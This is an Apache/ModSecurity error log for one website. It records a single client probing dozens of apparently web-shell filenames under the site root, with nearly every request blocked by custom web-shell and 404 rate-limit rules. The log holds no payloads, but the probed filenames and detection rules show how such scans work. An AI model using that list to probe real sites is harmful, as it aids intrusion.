[Sat Apr 18 04:39:17.128749 2026] [proxy_fcgi:error] [pid 9864:tid 9905] [client 158.158.109.150:64725] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 04:39:17.372329 2026] [proxy_fcgi:error] [pid 9864:tid 9930] [client 158.158.109.150:64725] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 04:39:17.616625 2026] [proxy_fcgi:error] [pid 9864:tid 9928] [client 158.158.109.150:64725] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 04:39:18.919876 2026] [:error] [pid 9864:tid 9908] [client 158.158.109.150:64725] [client 158.158.109.150] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "agraphics.com.au"] [uri "/wp-includes/wincust.php"] [unique_id "aeKadoCFeowknfXHM7kYdwAAAEM"]
[Sat Apr 18 04:39:19.907930 2026] [proxy_fcgi:error] [pid 9863:tid 9886] [client 158.158.109.150:54670] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 04:39:20.146396 2026] [:error] [pid 9863:tid 9875] [client 158.158.109.150:54670] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fs.php"] [unique_id "aeKaeDjjiypiFrTucbL1aAAAAAI"]
[Sat Apr 18 04:39:21.305575 2026] [:error] [pid 9865:tid 9947] [client 158.158.109.150:65209] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fs.php"] [unique_id "aeKaeazb5knECIY-C-iCYAAAAIo"]
[Sat Apr 18 04:39:22.925177 2026] [:error] [pid 9864:tid 9917] [client 158.158.109.150:65133] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fs.php"] [unique_id "aeKaeoCFeowknfXHM7kYhgAAAEs"]
[Sat Apr 18 04:39:24.245461 2026] [:error] [pid 9970:tid 9977] [client 158.158.109.150:65490] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fs.php"] [unique_id "aeKafCYdRLRhVmaIMx2R7QAAAMM"]
[Sat Apr 18 04:39:24.825074 2026] [:error] [pid 9863:tid 9897] [client 158.158.109.150:65474] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xltt.php"] [unique_id "aeKafDjjiypiFrTucbL1ewAAABg"]
[Sat Apr 18 04:39:28.536465 2026] [:error] [pid 9970:tid 9989] [client 158.158.109.150:64736] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xltt.php"] [unique_id "aeKagCYdRLRhVmaIMx2R9AAAAM8"]
[Sat Apr 18 04:39:29.573287 2026] [:error] [pid 9863:tid 9876] [client 158.158.109.150:65509] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xltt.php"] [unique_id "aeKagTjjiypiFrTucbL1kgAAAAM"]
[Sat Apr 18 04:39:31.149269 2026] [:error] [pid 9864:tid 9920] [client 158.158.109.150:65161] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xltt.php"] [unique_id "aeKag4CFeowknfXHM7kYjwAAAE4"]
[Sat Apr 18 04:39:32.260509 2026] [:error] [pid 9970:tid 9979] [client 158.158.109.150:54716] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws57.php"] [unique_id "aeKahCYdRLRhVmaIMx2R-AAAAMU"]
[Sat Apr 18 04:39:33.998979 2026] [:error] [pid 9970:tid 9983] [client 158.158.109.150:64698] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws57.php"] [unique_id "aeKahSYdRLRhVmaIMx2R-wAAAMk"]
[Sat Apr 18 04:39:35.286524 2026] [:error] [pid 9863:tid 9880] [client 158.158.109.150:65513] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws57.php"] [unique_id "aeKahzjjiypiFrTucbL1rwAAAAc"]
[Sat Apr 18 04:39:36.618327 2026] [:error] [pid 9970:tid 9995] [client 158.158.109.150:65141] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws57.php"] [unique_id "aeKaiCYdRLRhVmaIMx2SAgAAANU"]
[Sat Apr 18 04:39:38.776326 2026] [:error] [pid 9970:tid 9989] [client 158.158.109.150:65182] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws61.php"] [unique_id "aeKaiiYdRLRhVmaIMx2SFQAAAM8"]
[Sat Apr 18 04:39:40.480929 2026] [:error] [pid 9970:tid 9987] [client 158.158.109.150:64764] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws61.php"] [unique_id "aeKajCYdRLRhVmaIMx2SJgAAAM0"]
[Sat Apr 18 04:39:47.140502 2026] [:error] [pid 9970:tid 9974] [client 158.158.109.150:64794] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws61.php"] [unique_id "aeKakyYdRLRhVmaIMx2SNwAAAMA"]
[Sat Apr 18 04:39:48.124740 2026] [:error] [pid 9863:tid 9888] [client 158.158.109.150:65525] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws61.php"] [unique_id "aeKalDjjiypiFrTucbL1uQAAAA8"]
[Sat Apr 18 04:39:49.610806 2026] [:error] [pid 9970:tid 9993] [client 158.158.109.150:54682] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws66.php"] [unique_id "aeKalSYdRLRhVmaIMx2SPgAAANM"]
[Sat Apr 18 04:39:51.560986 2026] [:error] [pid 9865:tid 9961] [client 158.158.109.150:65134] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws66.php"] [unique_id "aeKal6zb5knECIY-C-iCgwAAAJg"]
[Sat Apr 18 04:39:52.376724 2026] [:error] [pid 9863:tid 9896] [client 158.158.109.150:65183] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws66.php"] [unique_id "aeKamDjjiypiFrTucbL1vwAAABc"]
[Sat Apr 18 04:39:54.084701 2026] [:error] [pid 9865:tid 9959] [client 158.158.109.150:64658] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws66.php"] [unique_id "aeKamqzb5knECIY-C-iChgAAAJY"]
[Sat Apr 18 04:39:56.209886 2026] [:error] [pid 9970:tid 9975] [client 158.158.109.150:54657] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws80.php"] [unique_id "aeKanCYdRLRhVmaIMx2SUgAAAME"]
[Sat Apr 18 04:39:56.912539 2026] [:error] [pid 9970:tid 9974] [client 158.158.109.150:64605] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws80.php"] [unique_id "aeKanCYdRLRhVmaIMx2SVgAAAMA"]
[Sat Apr 18 04:39:57.614540 2026] [:error] [pid 9970:tid 9982] [client 158.158.109.150:65171] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws80.php"] [unique_id "aeKanSYdRLRhVmaIMx2SXAAAAMg"]
[Sat Apr 18 04:39:58.953415 2026] [:error] [pid 9970:tid 9990] [client 158.158.109.150:65124] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws80.php"] [unique_id "aeKaniYdRLRhVmaIMx2SYgAAANA"]
[Sat Apr 18 04:39:59.592394 2026] [:error] [pid 9970:tid 9994] [client 158.158.109.150:65482] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xynz.php"] [unique_id "aeKanyYdRLRhVmaIMx2SZwAAANQ"]
[Sat Apr 18 04:40:00.537969 2026] [:error] [pid 9865:tid 9941] [client 158.158.109.150:65199] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xynz.php"] [unique_id "aeKaoKzb5knECIY-C-iCiQAAAIQ"]
[Sat Apr 18 04:40:01.201727 2026] [:error] [pid 9970:tid 9996] [client 158.158.109.150:64652] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xynz.php"] [unique_id "aeKaoSYdRLRhVmaIMx2SbwAAANY"]
[Sat Apr 18 04:40:01.951943 2026] [:error] [pid 9970:tid 9997] [client 158.158.109.150:65145] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xynz.php"] [unique_id "aeKaoSYdRLRhVmaIMx2SdAAAANc"]
[Sat Apr 18 04:40:03.066086 2026] [:error] [pid 9970:tid 9980] [client 158.158.109.150:65095] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-01ul.php"] [unique_id "aeKaoyYdRLRhVmaIMx2SewAAAMY"]
[Sat Apr 18 04:40:04.730474 2026] [:error] [pid 9970:tid 9984] [client 158.158.109.150:65195] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-01ul.php"] [unique_id "aeKapCYdRLRhVmaIMx2SggAAAMo"]
[Sat Apr 18 04:40:05.794220 2026] [:error] [pid 9863:tid 9892] [client 158.158.109.150:65520] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-01ul.php"] [unique_id "aeKapTjjiypiFrTucbL1xQAAABM"]
[Sat Apr 18 04:40:08.493177 2026] [:error] [pid 9865:tid 9956] [client 158.158.109.150:65489] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-01ul.php"] [unique_id "aeKaqKzb5knECIY-C-iCjAAAAJM"]
[Sat Apr 18 04:40:09.391815 2026] [:error] [pid 9865:tid 9961] [client 158.158.109.150:65505] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/e7.php"] [unique_id "aeKaqazb5knECIY-C-iCjwAAAJg"]
[Sat Apr 18 04:40:10.638987 2026] [:error] [pid 9863:tid 9895] [client 158.158.109.150:65150] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/e7.php"] [unique_id "aeKaqjjjiypiFrTucbL1ygAAABY"]
[Sat Apr 18 04:40:14.071343 2026] [:error] [pid 9863:tid 9890] [client 158.158.109.150:54669] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/e7.php"] [unique_id "aeKarjjjiypiFrTucbL1zwAAABE"]
[Sat Apr 18 04:40:19.164488 2026] [proxy_fcgi:error] [pid 9970:tid 9985] [client 158.158.109.150:65111] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 04:40:19.415229 2026] [proxy_fcgi:error] [pid 9970:tid 9980] [client 158.158.109.150:65111] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 04:40:19.657969 2026] [proxy_fcgi:error] [pid 9970:tid 9975] [client 158.158.109.150:65111] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 04:40:19.917899 2026] [proxy_fcgi:error] [pid 9970:tid 9996] [client 158.158.109.150:65111] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 04:40:20.162836 2026] [proxy_fcgi:error] [pid 9970:tid 9988] [client 158.158.109.150:65111] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 04:40:20.405917 2026] [proxy_fcgi:error] [pid 9970:tid 9982] [client 158.158.109.150:65111] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 04:40:20.649965 2026] [proxy_fcgi:error] [pid 9970:tid 9997] [client 158.158.109.150:65111] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 04:40:20.960497 2026] [proxy_fcgi:error] [pid 9970:tid 9985] [client 158.158.109.150:65111] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 04:40:21.223901 2026] [proxy_fcgi:error] [pid 9970:tid 9975] [client 158.158.109.150:65111] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 04:40:21.466700 2026] [proxy_fcgi:error] [pid 9970:tid 9986] [client 158.158.109.150:65111] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 04:40:21.721739 2026] [proxy_fcgi:error] [pid 9970:tid 9987] [client 158.158.109.150:65111] AH01071: Got error 'Primary script unknown'
[Sat Apr 18 04:40:22.043382 2026] [:error] [pid 9970:tid 9977] [client 158.158.109.150:65111] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f6.php"] [unique_id "aeKatiYdRLRhVmaIMx2SrgAAAMM"]
[Sat Apr 18 04:40:23.654195 2026] [:error] [pid 9970:tid 9974] [client 158.158.109.150:65136] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f6.php"] [unique_id "aeKatyYdRLRhVmaIMx2StQAAAMA"]
[Sat Apr 18 04:40:24.461149 2026] [:error] [pid 9970:tid 9981] [client 158.158.109.150:65170] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f6.php"] [unique_id "aeKauCYdRLRhVmaIMx2SuAAAAMc"]
[Sat Apr 18 04:40:26.031880 2026] [:error] [pid 9970:tid 9991] [client 158.158.109.150:64795] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/f6.php"] [unique_id "aeKauiYdRLRhVmaIMx2SwAAAANE"]
[Sat Apr 18 04:40:27.939341 2026] [:error] [pid 9865:tid 9946] [client 158.158.109.150:64585] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/edit.php"] [unique_id "aeKau6zb5knECIY-C-iCowAAAIk"]
[Sat Apr 18 04:40:28.946657 2026] [:error] [pid 9970:tid 9983] [client 158.158.109.150:65108] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/edit.php"] [unique_id "aeKavCYdRLRhVmaIMx2SyAAAAMk"]
[Sat Apr 18 04:40:29.798898 2026] [:error] [pid 9865:tid 9951] [client 158.158.109.150:65184] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/edit.php"] [unique_id "aeKavazb5knECIY-C-iCqwAAAI4"]
[Sat Apr 18 04:40:30.619833 2026] [:error] [pid 9864:tid 9915] [client 158.158.109.150:54707] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/edit.php"] [unique_id "aeKavoCFeowknfXHM7kYygAAAEk"]
[Sat Apr 18 04:40:31.336207 2026] [:error] [pid 9863:tid 9893] [client 158.158.109.150:65212] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aa.php"] [unique_id "aeKavzjjiypiFrTucbL12wAAABQ"]
[Sat Apr 18 04:40:32.004274 2026] [:error] [pid 9970:tid 9979] [client 158.158.109.150:54693] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aa.php"] [unique_id "aeKawCYdRLRhVmaIMx2S0gAAAMU"]
[Sat Apr 18 04:40:32.667773 2026] [:error] [pid 9864:tid 9925] [client 158.158.109.150:54685] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aa.php"] [unique_id "aeKawICFeowknfXHM7kYywAAAFM"]
[Sat Apr 18 04:40:33.549707 2026] [:error] [pid 9863:tid 9873] [client 158.158.109.150:54706] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/aa.php"] [unique_id "aeKawTjjiypiFrTucbL15AAAAAA"]
[Sat Apr 18 04:40:34.569330 2026] [:error] [pid 9970:tid 9995] [client 158.158.109.150:65155] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/goods_260325043000.php"] [unique_id "aeKawiYdRLRhVmaIMx2S1wAAANU"]
[Sat Apr 18 04:40:35.713601 2026] [:error] [pid 9970:tid 9979] [client 158.158.109.150:65126] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/goods_260325043000.php"] [unique_id "aeKawyYdRLRhVmaIMx2S3gAAAMU"]
[Sat Apr 18 04:40:36.321616 2026] [:error] [pid 9970:tid 9978] [client 158.158.109.150:65519] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/goods_260325043000.php"] [unique_id "aeKaxCYdRLRhVmaIMx2S4gAAAMQ"]
[Sat Apr 18 04:40:37.654480 2026] [:error] [pid 9970:tid 9983] [client 158.158.109.150:65151] [client 158.158.109.150] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/goods_260325043000.php"] [unique_id "aeKaxSYdRLRhVmaIMx2S6gAAAMk"]
